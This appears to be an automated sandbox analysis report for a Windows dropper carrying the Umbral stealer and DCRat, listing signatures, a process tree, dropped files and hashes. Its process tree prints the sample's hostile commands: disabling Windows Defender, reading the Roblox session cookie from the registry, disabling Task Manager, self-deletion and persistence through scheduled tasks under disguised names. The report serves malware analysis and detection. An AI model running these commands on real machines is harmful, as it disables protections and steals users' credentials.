Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/05/2024, 01:35

General

  • Target
    a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe
  • Size 4.3MB
  • Sample240504-bz4e4ach56
  • SHA256 a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Detect Umbral payload 3 IoCs
  • Process spawned unexpected child process 18 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • DCRat payload 4 IoCs

    Detects payload of DCRat, commonly dropped by NSIS installers.

  • Detects executables attemping to enumerate video devices using WMI 3 IoCs
  • Detects executables containing possible sandbox analysis VM names 3 IoCs
  • Detects executables containing possible sandbox analysis VM usernames 3 IoCs
  • Detects executables containing possible sandbox system UUIDs 3 IoCs
  • Detects executables packed with SmartAssembly 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 5 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 5 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Program Files directory 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 18 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies registry class 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 54 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe
    "C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:2904
    • C:\Users\Admin\AppData\Local\Temp\stealer.exe
      "C:\Users\Admin\AppData\Local\Temp\stealer.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4440
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1380
      • C:\Windows\SYSTEM32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\stealer.exe"
        3⤵
        • Views/modifies file attributes
        PID:1324
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\stealer.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:468
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5108
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4592
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3116
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3480
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
          PID:4824
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
            PID:4124
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:3404
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:3916
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\stealer.exe" && pause
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2940
            • C:\Windows\system32\PING.EXE
              ping localhost
              4⤵
              • Runs ping.exe
              PID:3288
        • C:\Users\Admin\AppData\Local\Temp\чекер dc.exe
          "C:\Users\Admin\AppData\Local\Temp\чекер dc.exe"
          2⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:4468
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\MsWinsessiondllNet\zHYxYvywzA0UOqnH8B4aBgoRvO2C5.vbe"
            3⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:4532
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\MsWinsessiondllNet\q6hjn2OvCg2VETYAoy3FIOj.bat" "
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4900
              • C:\MsWinsessiondllNet\driverBrokercommon.exe
                "C:\MsWinsessiondllNet\driverBrokercommon.exe"
                5⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Drops file in Windows directory
                • Modifies registry class
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:624
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\zv5EjZvQwa.bat"
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3252
                  • C:\Windows\system32\w32tm.exe
                    w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                    7⤵
                      PID:3080
                    • C:\MsWinsessiondllNet\csrss.exe
                      "C:\MsWinsessiondllNet\csrss.exe"
                      7⤵
                      • Checks computer location settings
                      • Executes dropped EXE
                      • Modifies registry class
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious behavior: GetForegroundWindowSpam
                      • Suspicious use of WriteProcessMemory
                      PID:4688
                      • C:\Windows\System32\WScript.exe
                        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\9fce6a35-a5d7-4e31-8567-7bee8400eb5e.vbs"
                        8⤵
                          PID:1956
                        • C:\Windows\System32\WScript.exe
                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\9802ccd6-4030-46fb-b238-ffcfa505b77a.vbs"
                          8⤵
                            PID:2996
                    • C:\Windows\SysWOW64\reg.exe
                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                      5⤵
                      • Modifies registry key
                      PID:4744
              • C:\Users\Admin\AppData\Local\Temp\Inject.exe
                "C:\Users\Admin\AppData\Local\Temp\Inject.exe"
                2⤵
                • Executes dropped EXE
                PID:2808
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 9 /tr "'C:\Users\Admin\Links\System.exe'" /f
              1⤵
              • Process spawned unexpected child process
              • Creates scheduled task(s)
              PID:1156
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Users\Admin\Links\System.exe'" /rl HIGHEST /f
              1⤵
              • Process spawned unexpected child process
              • Creates scheduled task(s)
              PID:4792
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 12 /tr "'C:\Users\Admin\Links\System.exe'" /rl HIGHEST /f
              1⤵
              • Process spawned unexpected child process
              • Creates scheduled task(s)
              PID:1544
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /f
              1⤵
              • Process spawned unexpected child process
              • Creates scheduled task(s)
              PID:3376
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f
              1⤵
              • Process spawned unexpected child process
              • Creates scheduled task(s)
              PID:2092
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f
              1⤵
              • Process spawned unexpected child process
              • Creates scheduled task(s)
              PID:224
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 5 /tr "'C:\MsWinsessiondllNet\csrss.exe'" /f
              1⤵
              • Process spawned unexpected child process
              • Creates scheduled task(s)
              PID:2908
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\MsWinsessiondllNet\csrss.exe'" /rl HIGHEST /f
              1⤵
              • Process spawned unexpected child process
              • Creates scheduled task(s)
              PID:3008
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 5 /tr "'C:\MsWinsessiondllNet\csrss.exe'" /rl HIGHEST /f
              1⤵
              • Process spawned unexpected child process
              • Creates scheduled task(s)
              PID:1980
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 12 /tr "'C:\MsWinsessiondllNet\unsecapp.exe'" /f
              1⤵
              • Process spawned unexpected child process
              • Creates scheduled task(s)
              PID:772
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn "unsecapp" /sc ONLOGON /tr "'C:\MsWinsessiondllNet\unsecapp.exe'" /rl HIGHEST /f
              1⤵
              • Process spawned unexpected child process
              • Creates scheduled task(s)
              PID:2412
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 10 /tr "'C:\MsWinsessiondllNet\unsecapp.exe'" /rl HIGHEST /f
              1⤵
              • Process spawned unexpected child process
              • Creates scheduled task(s)
              PID:3316
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Common Files\Adobe\Acrobat\conhost.exe'" /f
              1⤵
              • Process spawned unexpected child process
              • Creates scheduled task(s)
              PID:2420
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\Adobe\Acrobat\conhost.exe'" /rl HIGHEST /f
              1⤵
              • Process spawned unexpected child process
              • Creates scheduled task(s)
              PID:2368
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Common Files\Adobe\Acrobat\conhost.exe'" /rl HIGHEST /f
              1⤵
              • Process spawned unexpected child process
              • Creates scheduled task(s)
              PID:5000
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 5 /tr "'C:\Windows\SystemResources\Windows.UI.ShellCommonInetCore\SearchApp.exe'" /f
              1⤵
              • Process spawned unexpected child process
              • Creates scheduled task(s)
              PID:3860
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Windows\SystemResources\Windows.UI.ShellCommonInetCore\SearchApp.exe'" /rl HIGHEST /f
              1⤵
              • Process spawned unexpected child process
              • Creates scheduled task(s)
              PID:2392
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 11 /tr "'C:\Windows\SystemResources\Windows.UI.ShellCommonInetCore\SearchApp.exe'" /rl HIGHEST /f
              1⤵
              • Process spawned unexpected child process
              • Creates scheduled task(s)
              PID:5068

            Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

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                  Downloads

                  driverBrokercommon.exe

                  • Path C:\MsWinsessiondllNet\driverBrokercommon.exe
                  • Size 2.3MB
                  • SHA256 d81c1097d231fdcb536974ef025f230d1c4091bab3edcf4f9da9344b44b638ba
                  • MD5 SHA1 SHA512 SSDEEP

                  q6hjn2OvCg2VETYAoy3FIOj.bat

                  • Path C:\MsWinsessiondllNet\q6hjn2OvCg2VETYAoy3FIOj.bat
                  • Size 158B
                  • SHA256 1947411b5329e6db696c2354b56290b82aaf58b5f5d75fd4f3315fbe27999e31
                  • MD5 SHA1 SHA512

                  zHYxYvywzA0UOqnH8B4aBgoRvO2C5.vbe

                  • Path C:\MsWinsessiondllNet\zHYxYvywzA0UOqnH8B4aBgoRvO2C5.vbe
                  • Size 218B
                  • SHA256 1d4b4c4da6c16a2701cec1c24ff21168d26d4f81c0ac8b3e30ed01b8468d488b
                  • MD5 SHA1 SHA512

                  powershell.exe.log

                  • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                  • Size 2KB
                  • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                  • MD5 SHA1 SHA512

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 944B
                  • SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
                  • MD5 SHA1 SHA512

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 948B
                  • SHA256 60c64f6803d7ad1408d0a8628100470859b16ef332d5f1bd8bb2debe51251d04
                  • MD5 SHA1 SHA512

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc
                  • MD5 SHA1 SHA512

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 469da678c3c0364b1b511962cffd44cbfc10aab5c1c528c0c09fd952f08d8a2c
                  • MD5 SHA1 SHA512

                  9802ccd6-4030-46fb-b238-ffcfa505b77a.vbs

                  • Path C:\Users\Admin\AppData\Local\Temp\9802ccd6-4030-46fb-b238-ffcfa505b77a.vbs
                  • Size 483B
                  • SHA256 9e5df06a97eb719eb8b848c341304499f7d45754eeb7f6f9d74fd10f1274d585
                  • MD5 SHA1 SHA512

                  9fce6a35-a5d7-4e31-8567-7bee8400eb5e.vbs

                  • Path C:\Users\Admin\AppData\Local\Temp\9fce6a35-a5d7-4e31-8567-7bee8400eb5e.vbs
                  • Size 707B
                  • SHA256 97a04ad395852217476be9cee64895d876911c8fc783e376e688f40590614f61
                  • MD5 SHA1 SHA512

                  Inject.exe

                  • Path C:\Users\Admin\AppData\Local\Temp\Inject.exe
                  • Size 75KB
                  • SHA256 453a331db812ed6e0ce6cca5d3b5be26e66c44b5f6fbdc88f98442670b8daecb
                  • MD5 SHA1 SHA512 SSDEEP

                  __PSScriptPolicyTest_ax1ucl2o.gnu.ps1

                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ax1ucl2o.gnu.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512

                  stealer.exe

                  • Path C:\Users\Admin\AppData\Local\Temp\stealer.exe
                  • Size 229KB
                  • SHA256 cc60087c94ea0ab843dcae2cdd76ac5e9c90599d2909bbba12881babf46158ba
                  • MD5 SHA1 SHA512 SSDEEP

                  zv5EjZvQwa.bat

                  • Path C:\Users\Admin\AppData\Local\Temp\zv5EjZvQwa.bat
                  • Size 196B
                  • SHA256 c34c9688c023666946deed786e850650c5be956b3972a4c64be9a410e43d708f
                  • MD5 SHA1 SHA512

                  чекер dc.exe

                  • Path C:\Users\Admin\AppData\Local\Temp\чекер dc.exe
                  • Size 2.6MB
                  • SHA256 eabc7e4491961469ccb9c8cd716dbaf5285ecb8ad3edfc6bfec133a1ec80f05b
                  • MD5 SHA1 SHA512 SSDEEP

                  memory/468-138-0x0000014E6E870000-0x0000014E6E892000-memory.dmp

                  memory/624-238-0x000000001C530000-0x000000001C53C000-memory.dmp

                  memory/624-236-0x000000001C510000-0x000000001C518000-memory.dmp

                  memory/624-234-0x000000001C3E0000-0x000000001C3EA000-memory.dmp

                  memory/624-235-0x000000001C3F0000-0x000000001C3FE000-memory.dmp

                  memory/624-237-0x000000001C520000-0x000000001C52A000-memory.dmp

                  memory/624-233-0x000000001C400000-0x000000001C408000-memory.dmp

                  memory/624-231-0x00000000032C0000-0x00000000032CC000-memory.dmp

                  memory/624-232-0x000000001C2D0000-0x000000001C2DC000-memory.dmp

                  memory/624-225-0x0000000000EC0000-0x000000000110A000-memory.dmp

                  memory/624-227-0x0000000001950000-0x0000000001958000-memory.dmp

                  memory/624-226-0x00000000018E0000-0x00000000018E8000-memory.dmp

                  memory/624-228-0x0000000001960000-0x0000000001970000-memory.dmp

                  memory/624-229-0x0000000003270000-0x00000000032C6000-memory.dmp

                  memory/624-230-0x0000000001970000-0x000000000197C000-memory.dmp

                  memory/2808-127-0x00007FF68D870000-0x00007FF68D89A000-memory.dmp

                  memory/2904-0-0x0000000000400000-0x000000000084E000-memory.dmp

                  memory/4440-165-0x0000024240820000-0x000002424083E000-memory.dmp

                  memory/4440-65-0x000002423EB90000-0x000002423EBD0000-memory.dmp

                  memory/4440-220-0x00007FFE3E230000-0x00007FFE3ECF1000-memory.dmp

                  memory/4440-126-0x00007FFE3E230000-0x00007FFE3ECF1000-memory.dmp

                  memory/4440-202-0x00000242592B0000-0x00000242592C2000-memory.dmp

                  memory/4440-201-0x0000024259170000-0x000002425917A000-memory.dmp

                  memory/4440-164-0x00000242593B0000-0x0000024259400000-memory.dmp

                  memory/4440-62-0x00007FFE3E233000-0x00007FFE3E235000-memory.dmp

                  memory/4440-163-0x0000024259330000-0x00000242593A6000-memory.dmp